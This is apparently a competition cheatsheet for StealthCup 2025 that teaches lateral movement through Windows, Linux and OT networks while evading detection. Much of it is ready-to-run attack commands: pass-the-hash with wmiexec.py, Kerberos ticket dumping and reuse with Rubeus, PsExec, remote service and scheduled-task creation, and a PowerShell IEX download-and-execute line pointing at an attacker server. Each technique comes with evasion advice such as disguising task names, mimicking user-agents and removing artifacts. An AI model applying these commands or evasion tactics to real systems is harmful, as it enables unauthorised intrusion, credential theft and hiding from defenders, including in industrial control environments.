StealthCup 2025: Lateral Movement Cheatsheet

This cheatsheet focuses on techniques for moving laterally through the StealthCup network environment while minimizing detection. Lateral movement is often necessary to reach critical systems for both the Enterprise Cup and OT Cup objectives.

1. Lateral Movement Planning

Before attempting lateral movement, proper planning is essential to minimize alerts.

- **Network Mapping**: Understand the network topology before moving.
    - **Tools**: Results from passive reconnaissance, network visualization tools
    - **Evasion Tip**: Use existing information rather than active scanning when possible.
- **Target Prioritization**: Identify the most valuable systems to move to.
    - **Enterprise Cup**: Domain controllers, admin workstations
    - **OT Cup**: Jump boxes, engineering workstations, HMI systems
    - **Evasion Tip**: Move only to necessary systems, avoid unnecessary exploration.
- **Path Planning**: Determine the least-monitored path to your target.
    - **Evasion Tip**: Consider "stepping stone" systems with less monitoring.

2. Authentication-Based Movement

These techniques leverage valid credentials or authentication mechanisms.

- **Remote PowerShell (WinRM)**:
    - **Tools**: `Enter-PSSession`, `Invoke-Command`
    - **Example (Basic Remote Execution)**:

```
# Establish remote session
$session = New-PSSession -ComputerName <target> -Credential $cred

# Execute commands remotely
Invoke-Command -Session $session -ScriptBlock { Get-Process }

# Interactive session
Enter-PSSession -Session $session
```

    - **Evasion Tip**: WinRM is a legitimate administrative channel. Use during business hours. Avoid excessive failed authentication attempts.
- **PsExec and Alternatives**:
    - **Tools**: `PsExec`, `PAExec` (less detected alternative)

- **Example (PsExec)**:

```
psexec \\<target> -u <username> -p <password> cmd.exe
```

- **Evasion Tip**: PsExec is heavily monitored. Consider alternatives like PAExec or native Windows tools. Use with valid credentials only.

- **Remote Registry**:
  - **Tools**: `reg.exe`, PowerShell registry cmdlets
  - **Example (Query Remote Registry)**:

```
reg query \\<target>\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

  - **Evasion Tip**: Limit queries to specific keys. Avoid excessive registry operations.

- **SSH/SCP (Linux)**:
  - **Tools**: `ssh`, `scp`
  - **Example (SSH with Key Authentication)**:

```
# Generate key if needed (do this on your attacking machine, not
target)
ssh-keygen -t ed25519 -f ~/.ssh/lateral_key -q -N ""

# Copy key to target (requires initial password access)
ssh-copy-id -i ~/.ssh/lateral_key.pub user@<target>

# Connect with key
ssh -i ~/.ssh/lateral_key user@<target>
```

  - **Evasion Tip**: SSH is a legitimate admin tool. Use key authentication when possible. Consider using non-standard ports if the environment allows.

3. Credential-Based Techniques

These techniques focus on obtaining and using credentials for lateral movement.

- **Pass-the-Hash (Windows)**:
  - **Tools**: `mimikatz`, `CrackMapExec`, `Impacket`
  - **Example (Impacket's wmiexec.py)**:

```
wmiexec.py -hashes <LM_hash>:<NT_hash> <domain>/<username>@<target>
```

    - **Evasion Tip**: Avoid extracting hashes from memory if possible (high detection risk). If you must use PtH, do it minimally and during business hours.

- **Kerberos Ticket Reuse**:
    - **Tools**: `mimikatz`, `Rubeus`, `Impacket`
    - **Example (Rubeus - Pass the Ticket)**:

```
# First export ticket
Rubeus.exe dump /service:krbtgt /nowrap

# Then use the ticket
Rubeus.exe ptt /ticket:<base64_ticket>
```

    - **Evasion Tip**: Ticket reuse is generally less detected than extracting new credentials. Use tickets with appropriate lifetimes.

- **Token Impersonation**:
    - **Tools**: `incognito` (Metasploit), `mimikatz`, PowerShell
    - **Example (PowerShell Token Impersonation)**:

```
# Requires admin privileges
$tokenHandle = [IntPtr]::Zero
$returnValue = [Advapi32]::OpenProcessToken(
    [Kernel32]::GetCurrentProcess(),
    [TokenAccessLevels]::TokenDuplicate -bor
[TokenAccessLevels]::TokenImpersonate -bor
[TokenAccessLevels]::TokenQuery,
    [ref]$tokenHandle)
# Additional code required for full implementation
```

    - **Evasion Tip**: Token manipulation can be detected by EDR. Use sparingly and with legitimate tokens when possible.

4. File-Based Movement

These techniques involve transferring and executing files across systems.

- **SMB File Transfers**:
    - **Tools**: Built-in Windows commands, PowerShell
    - **Example (Copy File via SMB)**:

```
copy C:\local\file.txt \\<target>\C$\remote\file.txt
```

- **Evasion Tip**: Use legitimate file shares when possible. Avoid writing to sensitive directories. Use during business hours.

- **Web-Based File Transfers**:
  - **Tools**: PowerShell `Invoke-WebRequest`, `curl`, `wget`
  - **Example (PowerShell Download)**:

```
Invoke-WebRequest -Uri "http://<your_server>/file.txt" -OutFile
"C:\file.txt"
```

  - **Evasion Tip**: Use HTTPS. Mimic legitimate user-agent strings. Consider hosting files on legitimate-looking domains.

- **Alternative Channels**:
  - **Tools**: `netcat`, custom scripts
  - **Example (Netcat File Transfer)**:

```
# On receiving end
nc -l -p 8080 > received_file

# On sending end
nc <target> 8080 < file_to_send
```

  - **Evasion Tip**: Use common ports (80, 443) that are likely allowed through firewalls.

5. Remote Service Creation

These techniques involve creating or modifying services on remote systems.

- **Windows Service Creation**:
  - **Tools**: `sc.exe`, PowerShell `New-Service`
  - **Example (Create Remote Service)**:

```
sc \\<target> create TestService binPath= "cmd.exe /c command"
sc \\<target> start TestService
```

  - **Evasion Tip**: Service creation is highly monitored. Use legitimate service names and descriptions. Clean up afterward.

- **Scheduled Task Creation**:
  - **Tools**: `schtasks.exe`, PowerShell `Register-ScheduledTask`
  - **Example (Create Remote Scheduled Task)**:

```
schtasks /create /tn "SystemCheck" /tr "cmd.exe /c command" /sc once
/st 23:00 /s <target> /u <username> /p <password>
```

- **Evasion Tip**: Use task names that blend with legitimate system tasks. Schedule during expected maintenance windows.

6. Fileless Lateral Movement

These techniques avoid writing files to disk on the target system.

- **PowerShell Remoting with In-Memory Execution**:
  - **Tools**: PowerShell `Invoke-Command`
  - **Example (Remote In-Memory Execution)**:

```
Invoke-Command -ComputerName <target> -Credential $cred -ScriptBlock {
    IEX (New-Object
Net.WebClient).DownloadString('http://<your_server>/script.ps1')
}
```

  - **Evasion Tip**: PowerShell remoting may be monitored but is a legitimate administrative channel. Use obfuscation techniques from the Command Obfuscation Cheatsheet.

- **WMI for Execution**:
  - **Tools**: `wmic`, PowerShell `Invoke-WmiMethod`
  - **Example (WMI Process Creation)**:

```
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList
"cmd.exe /c command" -ComputerName <target> -Credential $cred
```

  - **Evasion Tip**: WMI is heavily monitored but commonly used for legitimate administration. Use during business hours and limit frequency.

7. OT-Specific Lateral Movement

These techniques are specific to OT environments for the OT Cup objective.

- **Engineering Workstation Access**:
  - **Approach**: Gain access to engineering workstations that can connect to PLCs
  - **Evasion Tip**: Engineering workstations often have less security monitoring than IT systems but may have specialized OT monitoring.

- **Jump Box Traversal**:
  - **Approach**: Move through jump boxes/bastion hosts to reach isolated OT networks

    - **Evasion Tip**: Jump boxes are heavily monitored. Use legitimate credentials and access patterns.

- **Historian Database Access**:
    - **Approach**: Access historian databases to gather information about OT systems
    - **Evasion Tip**: Use standard database queries. Avoid excessive or unusual query patterns.

8. General Evasion Tips for Lateral Movement

- **Timing**: Perform lateral movement during business hours when legitimate administrative activity occurs.
- **Frequency**: Limit the number of lateral movement attempts. Quality over quantity.
- **Credentials**: Use valid credentials whenever possible rather than exploitation.
- **Cleanup**: Remove artifacts after successful movement (without deleting logs - against rules).
- **Session Management**: Maintain as few concurrent sessions as possible.
- **Protocol Selection**: Use encrypted protocols (HTTPS, SSH, WinRM over HTTPS) when available.

9. Lateral Movement Decision Matrix

Technique	Stealth Level	Detection Risk	Use Case
WinRM	Medium	Medium	Windows admin tasks, script execution
SSH	High	Low	Linux system access, secure channel
PsExec	Low	High	Only when alternatives unavailable
SMB File Transfer	Medium	Medium	File movement between Windows systems
WMI	Medium	Medium-High	Remote execution without file writes
Scheduled Tasks	Medium	Medium-High	Persistence, timed execution
Pass-the-Hash	Low	High	Last resort when credentials unavailable
Token Impersonation	Medium	Medium-High	Privilege escalation on Windows

Always consult the Alert Evasion Cheatsheet and Scoring System Cheatsheet before performing lateral movement actions.